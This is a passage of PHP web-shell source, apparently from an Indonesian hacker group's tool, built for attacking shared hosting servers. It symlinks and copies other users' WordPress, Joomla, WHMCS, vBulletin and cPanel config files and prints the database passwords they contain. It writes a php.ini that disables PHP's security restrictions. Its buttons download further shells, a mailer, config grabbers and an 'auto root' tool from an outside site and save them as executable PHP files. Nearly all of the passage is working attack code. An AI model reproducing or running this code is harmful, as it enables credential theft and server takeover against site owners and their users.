1211@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1212@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1213@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1214@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1215@symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1216@symlink('/home2/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1217@symlink('/home2/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1218@symlink('/home2/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1219@symlink('/home2/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1220@symlink('/home2/'.$user.'/public_html/connect.php',$user.'-8.txt');
1221@symlink('/home2/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1222@symlink('/home2/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1223@symlink('/home2/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1224@symlink('/home2/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1225@symlink('/home2/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1226@symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1227@symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1228@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1229@symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1230@symlink('/home3/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1231@symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1232@symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1233@symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1234@symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1235@symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1236@symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1237@symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1238@symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1239@symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1240@symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1241@symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1242@symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1243@symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1244@symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1245@symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1246@symlink('/home3/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1247@symlink('/home3/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1248@symlink('/home3/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1249@symlink('/home3/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1250@symlink('/home3/'.$user.'/public_html/connect.php',$user.'-8.txt');
1251@symlink('/home3/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1252@symlink('/home3/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1253@symlink('/home3/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1254@symlink('/home3/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1255@symlink('/home3/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1256@symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1257@symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1258@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1259@symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1260@symlink('/home4/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1261@symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1262@symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1263@symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1264@symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1265@symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1266@symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1267@symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1268@symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1269@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1270@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1271@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1272@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1273@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1274@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1275@symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1276@symlink('/home4/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1277@symlink('/home4/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1278@symlink('/home4/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1279@symlink('/home4/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1280@symlink('/home4/'.$user.'/public_html/connect.php',$user.'-8.txt');
1281@symlink('/home4/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1282@symlink('/home4/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1283@symlink('/home4/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1284@symlink('/home4/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1285@symlink('/home4/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1286@symlink('/home5/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1287@symlink('/home5/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1288@symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1289@symlink('/home5/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1290@symlink('/home5/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1291@symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1292@symlink('/home5/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1293@symlink('/home5/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1294@symlink('/home5/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1295@symlink('/home5/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1296@symlink('/home5/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1297@symlink('/home5/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1298@symlink('/home5/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1299@symlink('/home5/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1300@symlink('/home5/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1301@symlink('/home5/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1302@symlink('/home5/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1303@symlink('/home5/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1304@symlink('/home5/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1305@symlink('/home5/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1306@symlink('/home5/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1307@symlink('/home5/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1308@symlink('/home5/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1309@symlink('/home5/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1310@symlink('/home5/'.$user.'/public_html/connect.php',$user.'-8.txt');
1311@symlink('/home5/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1312@symlink('/home5/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1313@symlink('/home5/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1314@symlink('/home5/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1315@symlink('/home5/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1316@symlink('/home6/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1317@symlink('/home6/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1318@symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1319@symlink('/home6/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1320@symlink('/home6/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1321@symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1322@symlink('/home6/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1323@symlink('/home6/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1324@symlink('/home6/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1325@symlink('/home6/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1326@symlink('/home6/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1327@symlink('/home6/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1328@symlink('/home6/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1329@symlink('/home6/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1330@symlink('/home6/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1331@symlink('/home6/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1332@symlink('/home6/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1333@symlink('/home6/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1334@symlink('/home6/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1335@symlink('/home6/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1336@symlink('/home6/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1337@symlink('/home6/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1338@symlink('/home6/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1339@symlink('/home6/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1340@symlink('/home6/'.$user.'/public_html/connect.php',$user.'-8.txt');
1341@symlink('/home6/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1342@symlink('/home6/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1343@symlink('/home6/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1344@symlink('/home6/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1345@symlink('/home6/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1346@symlink('/home7/'.$user.'/public_html/vb/includes/config.php',$user.'-vBulletin1.txt');
1347@symlink('/home7/'.$user.'/public_html/includes/config.php',$user.'-vBulletin2.txt');
1348@symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$user.'-vBulletin3.txt');
1349@symlink('/home7/'.$user.'/public_html/cc/includes/config.php',$user.'-vBulletin4.txt');
1350@symlink('/home7/'.$user.'/public_html/config.php',$user.'-Phpbb1.txt');
1351@symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$user.'-Phpbb2.txt');
1352@symlink('/home7/'.$user.'/public_html/wp-config.php',$user.'-Wordpress1.txt');
1353@symlink('/home7/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress2.txt');
1354@symlink('/home7/'.$user.'/public_html/configuration.php',$user.'-Joomla1.txt');
1355@symlink('/home7/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla2.txt');
1356@symlink('/home7/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla3.txt');
1357@symlink('/home7/'.$user.'/public_html/whm/configuration.php',$user.'-Whm1.txt');
1358@symlink('/home7/'.$user.'/public_html/whmc/configuration.php',$user.'-Whm2.txt');
1359@symlink('/home7/'.$user.'/public_html/support/configuration.php',$user.'-Whm3.txt');
1360@symlink('/home7/'.$user.'/public_html/client/configuration.php',$user.'-Whm4.txt');
1361@symlink('/home7/'.$user.'/public_html/billings/configuration.php',$user.'-Whm5.txt');
1362@symlink('/home7/'.$user.'/public_html/billing/configuration.php',$user.'-Whm6.txt');
1363@symlink('/home7/'.$user.'/public_html/clients/configuration.php',$user.'-Whm7.txt');
1364@symlink('/home7/'.$user.'/public_html/whmcs/configuration.php',$user.'-Whm8.txt');
1365@symlink('/home7/'.$user.'/public_html/order/configuration.php',$user.'-Whm9.txt');
1366@symlink('/home7/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
1367@symlink('/home7/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
1368@symlink('/home7/'.$user.'/public_html/conf_global.php',$user.'-invisio.txt');
1369@symlink('/home7/'.$user.'/public_html/include/db.php',$user.'-7.txt');
1370@symlink('/home7/'.$user.'/public_html/connect.php',$user.'-8.txt');
1371@symlink('/home7/'.$user.'/public_html/mk_conf.php',$user.'-mk-portale1.txt');
1372@symlink('/home7/'.$user.'/public_html/include/config.php',$user.'-12.txt');
1373@symlink('/home7/'.$user.'/public_html/settings.php',$user.'-Smf.txt');
1374@symlink('/home7/'.$user.'/public_html/includes/functions.php',$user.'-phpbb3.txt');
1375@symlink('/home7/'.$user.'/public_html/include/db.php',$user.'-infinity.txt');
1376@symlink('/home/'.$user.'/.my.cnf',$user.'-cpanel.txt');
1377@symlink('/home/'.$user.'/.accesshash',$user.'-whm.txt');
1378@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-opencart.txt');
1379@symlink('/home/'.$user.'/public_html/slconfig.php',$user.'-sitelok.txt');
1380@symlink('/home/'.$user.'/public_html/application/config/database.php',$user.'-elislab.txt');
1381@symlink('/home/'.$user.'/public_html/app/etc/local.xml',$user.'-mangentot.txt');
1382@symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.'-lokmed.txt');
1383@symlink('/home/'.$user.'/public_html/po-library/po-config.php',$user.'-popojembut.txt');
1384@symlink('/home/'.$user.'/public_html/lokomedia/config/koneksi.php',$user.'-lokmed.txt');
1385@symlink('/home1/'.$user.'/.accesshash',$user.'-whm.txt');
1386@symlink('/home1/'.$user.'/public_html/admin/config.php',$user.'-opencart.txt');
1387@symlink('/home1/'.$user.'/public_html/slconfig.php',$user.'-sitelok.txt');
1388@symlink('/home1/'.$user.'/public_html/application/config/database.php',$user.'-elislab.txt');
1389@symlink('/home1/'.$user.'/public_html/app/etc/local.xml',$user.'-mangentot.txt');
1390@symlink('/home1/'.$user.'/public_html/config/koneksi.php',$user.'-lokmed.txt');
1391@symlink('/home1/'.$user.'/public_html/po-library/po-config.php',$user.'-popojembut.txt');
1392@symlink('/home1/'.$user.'/public_html/lokomedia/config/koneksi.php',$user.'-lokmed.txt');
1393}
1394echo '<center>Selesai mas/mba bro untuk melihat hasilnya klik -> <blink><a href='.$folfig.'>'.$folfig.'</a></blink>';
1395
1396}
1397}
1398
1399?>
1400<?php
1401if (isset($_GET['idb']) && ($_GET['idb'] == 'auto')) {
1402?>
1403<form action="?&idb=auto" method="post">
1404<?php
1405echo "<html><head><title>MATAMU PICEK !!!!</title>";
1406echo "<body bgcolor='black'>";
1407echo "<font color='yellow'><center>-=[ IDBTE4M ]=- -=[ HGL10]=- -=[ BN ]=-</center></font><br/><br/><form method='POST'>";
1408echo "<div align='center'>";
1409echo "<input type='submit' name='idb' value='IJIN SERVER'><br/> <br/>";
1410echo "</div>";
1411echo "<div align='center'>";
1412echo "<input type='submit' name='te4m' value='-=[ Dm Shell ]=-'> ";
1413echo "<input type='submit' name='te4m1' value='-=[ IndoXploit Shell ]=-'> ";
1414echo "<input type='submit' name='te4m2' value='-=[ Mailer ]=-'> ";
1415echo "<input type='submit' name='te4m3' value='-=[ Config Grabber ]=-'> ";
1416echo "<input type='submit' name='te4m4' value='-=[ Vhosts Grabber ]=-'><br> ";
1417echo "<input type='submit' name='te4m5' value='-=[ Auto Root ]=-'>";
1418echo "<input type='submit' name='te4m6' value='-=[ Sc Depes ]=-'>";
1419echo "</div>";
1420
1421
1422$sh = 'file_get_contents';
1423
1424if($_POST['idb']) {
1425$ini = "php.ini";
1426$open = fopen($ini, 'w');
1427$source = ("safe_mode = OFF n
1428disable_functions = NONE n
1429safe_mode_gid = OFF n
1430open_basedir = OFF n
1431register_globals = ON n
1432exec = ON n
1433shell_exec = ON n");
1434fwrite($open, $source);
1435echo "<font color='lime'>";
1436if($open) {
1437echo '<hr><p>ijin diterima, silahkan pilih tools sesuai keinginan :) </p>';
1438}
1439else {
1440echo "<font color='red'>";
1441echo '<hr><p>GAGAL kang </p>';
1442echo "</font>";
1443fclose($open);
1444} }
1445
1446if($_POST['te4m']) {
1447$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/dm.css';
1448$get11 = $sh($cgi);
1449$idbk = fopen('dm.php', 'w');
1450fwrite($idbk,$get11);
1451fclose($idbk);
1452{
1453@chmod('dm.php',0755);
1454}
1455echo "<font color='aqua'>";
1456echo "<hr>shell dm sukses dibuat :D <br/>
1457Silahkan kunjungi http://alamat-domain-kamu/dm.php atau lihat hasilnya <a href='dm.php' target='_blank'>DISINI</a></center></br>";
1458echo "</font>";
1459}
1460echo "</font>";
1461
1462if($_POST['te4m1']) {
1463$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/indro.css';
1464$get11 = $sh($cgi);
1465$idbk = fopen('indo.php', 'w');
1466fwrite($idbk,$get11);
1467fclose($idbk);
1468{
1469@chmod('indo.php',0755);
1470}
1471echo "<font color='aqua'>";
1472echo "<hr>tools sukses dibuat :D <br/>
1473Silahkan kunjungi http://alamat-domain-kamu/indo.php atau lihat hasilnya <a href='indo.php' target='_blank'>DISINI</a></center></br>";
1474echo "</font>";
1475}
1476echo "</font>";
1477
1478if($_POST['te4m2']) {
1479$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/m.css';
1480$get11 = $sh($cgi);
1481$idbk = fopen('mail.php', 'w');
1482fwrite($idbk,$get11);
1483fclose($idbk);
1484{
1485@chmod('mail.php',0755);
1486}
1487echo "<font color='aqua'>";
1488echo "<hr>mailer sukses dibuat :D <br/>
1489Silahkan kunjungi http://alamat-domain-kamu/mail.php atau lihat hasilnya <a href='mail.php' target='_blank'>DISINI</a></center></br>";
1490echo "</font>";
1491}
1492echo "</font>";
1493
1494if($_POST['te4m3']) {
1495$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/f.css';
1496$get11 = $sh($cgi);
1497$idbk = fopen('cf.php', 'w');
1498fwrite($idbk,$get11);
1499fclose($idbk);
1500{
1501@chmod('cf.php',0755);
1502}
1503echo "<font color='aqua'>";
1504echo "<hr>Config grab sukses dibuat :D <br/>
1505Silahkan kunjungi http://alamat-domain-kamu/cf.php atau lihat hasilnya <a href='cf.php' target='_blank'>DISINI</a></center></br>";
1506echo "</font>";
1507}
1508echo "</font>";
1509if($_POST['te4m5']) {
1510$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/v.css';
1511$get11 = $sh($cgi);
1512$idbk = fopen('vh.php', 'w');
1513fwrite($idbk,$get11);
1514fclose($idbk);
1515{
1516@chmod('vh.php',0755);
1517}
1518echo "<font color='aqua'>";
1519echo "<hr>Vhosts Grabber<br/>
1520Silahkan kunjungi http://alamat-domain-kamu/sabun.php atau lihat hasilnya <a href='vh.php' target='_blank'>DISINI</a></center></br>";
1521echo "</font>";
1522}
1523echo "</font>";
1524if($_POST['te4m6']) {
1525$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/p.css';
1526$get11 = $sh($cgi);
1527$idbk = fopen('ar.php', 'w');
1528fwrite($idbk,$get11);
1529fclose($idbk);
1530{
1531@chmod('ar.php',0755);
1532}
1533echo "<font color='aqua'>";
1534echo "<hr>Auto root<br/>
1535Silahkan kunjungi http://alamat-domain-kamu/bn.php atau lihat hasilnya <a href='ar.php' target='_blank'>DISINI</a></center></br>";
1536echo "</font>";
1537}
1538echo "</font>";
1539if($_POST['te4m4']) {
1540$cgi = 'http://www.cbihost.net/wp-includes/ID3/css/depess.css';
1541$get11 = $sh($cgi);
1542$idb1k = fopen('idb.php', 'w');
1543fwrite($idb1k,$get11);
1544fclose($idb1k);
1545{
1546@chmod('idb.php',0755);
1547}
1548echo "<font color='aqua'>";
1549echo "<hr>CGIProxy sukses dibuat :D <br/>
1550Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='idb.php' target='_blank'>DISINI</a></center></br>";
1551echo "</font>";
1552}
1553echo "</font>";
1554}
1555?>
1556
1557<?php
1558if (isset($_GET['idb']) && ($_GET['idb'] == 'wp2')) { ?>
1559<form action="?idb=wp2" method="post">
1560<?php
1561@ini_set('display_errors',0);
1562function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1563 $ar0=explode($marqueurDebutLien, $text);
1564 $ar1=explode($marqueurFinLien, $ar0[$i]);
1565 return trim($ar1[0]);
1566}
1567
1568echo "<center>";
1569$d0mains = @file('/etc/named.conf');
1570$domains = scandir("/var/named");
1571
1572if ($domains or $d0mains)
1573{
1574 $domains = scandir("/var/named");
1575 if($domains) {
1576echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1577$count=1;
1578$dc = 0;
1579$list = scandir("/var/named");
1580foreach($list as $domain){
1581if(strpos($domain,".db")){
1582$domain = str_replace('.db','',$domain);
1583$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1584$dirz = '/home/'.$owner['name'].'/public_html/wp-config.php';
1585$path = getcwd();
1586
1587if (is_readable($dirz)) {
1588copy($dirz, ''.$path.'/-wp-'.$owner['name'].'.txt');
1589$p=file_get_contents(''.$path.'/-wp-'.$owner['name'].'.txt');
1590$password=entre2v2($p,'password="','"');
1591echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='-wp-".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1592$dc++;
1593}
1594
1595}
1596}
1597echo '</table>';
1598$total = $dc;
1599echo '<br><div class="result">Wp config Found = '.$total.'</h3><br />';
1600echo '</center>';
1601}else{
1602$d0mains = @file('/etc/named.conf');
1603 if($d0mains) {
1604echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1605$count=1;
1606$dc = 0;
1607$mck = array();
1608foreach($d0mains as $d0main){
1609 if(@eregi('zone',$d0main)){
1610 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1611 flush();
1612 if(strlen(trim($domain[1][0])) >2){
1613 $mck[] = $domain[1][0];
1614 }
1615 }
1616}
1617$mck = array_unique($mck);
1618$usr = array();
1619$dmn = array();
1620foreach($mck as $o) {
1621 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1622 $usr[] = $infos['name'];
1623 $dmn[] = $o;
1624}
1625array_multisort($usr,$dmn);
1626$dt = file('/etc/passwd');
1627$passwd = array();
1628foreach($dt as $d) {
1629 $r = explode(':',$d);
1630 if(strpos($r[5],'home')) {
1631 $passwd[$r[0]] = $r[5];
1632 }
1633}
1634$l=0;
1635$j=1;
1636foreach($usr as $r) {
1637$dirz = '/home/'.$r.'/public_html/wp-config.php';
1638$path = getcwd();
1639if (is_readable($dirz)) {
1640copy($dirz, ''.$path.'/-wp-'.$r.'.txt');
1641$p=file_get_contents(''.$path.'/-wp-'.$r.'.txt');
1642$password=entre2v2($p,'password="','"');
1643echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='-wp-".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1644$dc++;
1645 flush();
1646 $l=$l?0:1;
1647 $j++;
1648 }
1649 }
1650 }
1651echo '</table>';
1652$total = $dc;
1653echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1654echo '</center>';
1655
1656}
1657}else{
1658echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1659}
1660echo "<center>";
1661$d0mains = @file('/etc/named.conf');
1662$domains = scandir("/var/named");
1663
1664if ($domains or $d0mains)
1665{
1666 $domains = scandir("/var/named");
1667 if($domains) {
1668echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1669$count=1;
1670$dc = 0;
1671$list = scandir("/var/named");
1672foreach($list as $domain){
1673if(strpos($domain,".db")){
1674$domain = str_replace('.db','',$domain);
1675$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1676$dirz = '/home/'.$owner['name'].'/public_html/configuration.php';
1677$path = getcwd();
1678
1679if (is_readable($dirz)) {
1680copy($dirz, ''.$path.'/-jomblo-'.$owner['name'].'.txt');
1681$p=file_get_contents(''.$path.'/-jomblo-'.$owner['name'].'.txt');
1682$password=entre2v2($p,'password="','"');
1683echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='-jomblo-".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1684$dc++;
1685}
1686
1687}
1688}
1689echo '</table>';
1690$total = $dc;
1691echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1692echo '</center>';
1693}else{
1694$d0mains = @file('/etc/named.conf');
1695 if($d0mains) {
1696echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1697$count=1;
1698$dc = 0;
1699$mck = array();
1700foreach($d0mains as $d0main){
1701 if(@eregi('zone',$d0main)){
1702 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1703 flush();
1704 if(strlen(trim($domain[1][0])) >2){
1705 $mck[] = $domain[1][0];
1706 }
1707 }
1708}
1709$mck = array_unique($mck);
1710$usr = array();
1711$dmn = array();
1712foreach($mck as $o) {
1713 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1714 $usr[] = $infos['name'];
1715 $dmn[] = $o;
1716}
1717array_multisort($usr,$dmn);
1718$dt = file('/var/named');
1719$passwd = array();
1720foreach($dt as $d) {
1721 $r = explode(':',$d);
1722 if(strpos($r[5],'home')) {
1723 $passwd[$r[0]] = $r[5];
1724 }
1725}
1726$l=0;
1727$j=1;
1728foreach($usr as $r) {
1729$dirz = '/home/'.$r.'/.my.cnf';
1730$path = getcwd();
1731if (is_readable($dirz)) {
1732copy($dirz, ''.$path.'/-cp-'.$r.'.txt');
1733$p=file_get_contents(''.$path.'/-cp-'.$r.'.txt');
1734$password=entre2v2($p,'password="','"');
1735echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='-cp-".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1736$dc++;
1737 flush();
1738 $l=$l?0:1;
1739 $j++;
1740 }
1741 }
1742 }
1743echo '</table>';
1744$total = $dc;
1745echo '<br><div class="result">Total cp = '.$total.'</h3><br />';
1746echo '</center>';
1747
1748}
1749}else{
1750echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1751}
1752
1753echo "<br>© <font color='#FF0000'>./elro-BN404</font> | BN-IDBTE4M";
1754echo "</body></html>";
1755}
1756?>
1757<?php
1758if (isset($_GET['idb']) && ($_GET['idb'] == 'wpmas')) { ?>
1759<form action="?idb=wpmas" method="post">
1760<style>
1761body
1762{
1763 background: #0f0e0d;
1764 color: #FF9933;
1765 padding: 0px;
1766}
1767a:link, body_alink
1768{
1769 color: #FF9933;
1770 text-decoration: none;
1771}
1772a:visited, body_avisited
1773{
1774 color: #FF9933;
1775 text-decoration: none;
1776}
1777a:hover, a:active, body_ahover
1778{
1779 color: #FFFFFF;
1780 text-decoration: none;
1781}
1782td, th, p, li,table
1783{
1784
1785 background: #2e2b28;
1786 border:1px solid #524f46;
1787}
1788input
1789{
1790 border: 1px solid;
1791 cursor: default;
1792
1793 overflow: hidden;
1794 background: #2e2b28;
1795 color: #ffffff;
1796}textarea
1797{
1798 border: 1px solid;
1799 cursor: default;
1800
1801 overflow: hidden;
1802 background: #2e2b28;
1803 color: #ffffff;
1804}
1805button
1806{
1807 border: 1px solid;
1808 cursor: default;
1809
1810 overflow: hidden;
1811 background: #2e2b28;
1812 color: #ffffff;
1813}
1814</style>
1815</head>
1816<body bgcolor="black">
1817</center>
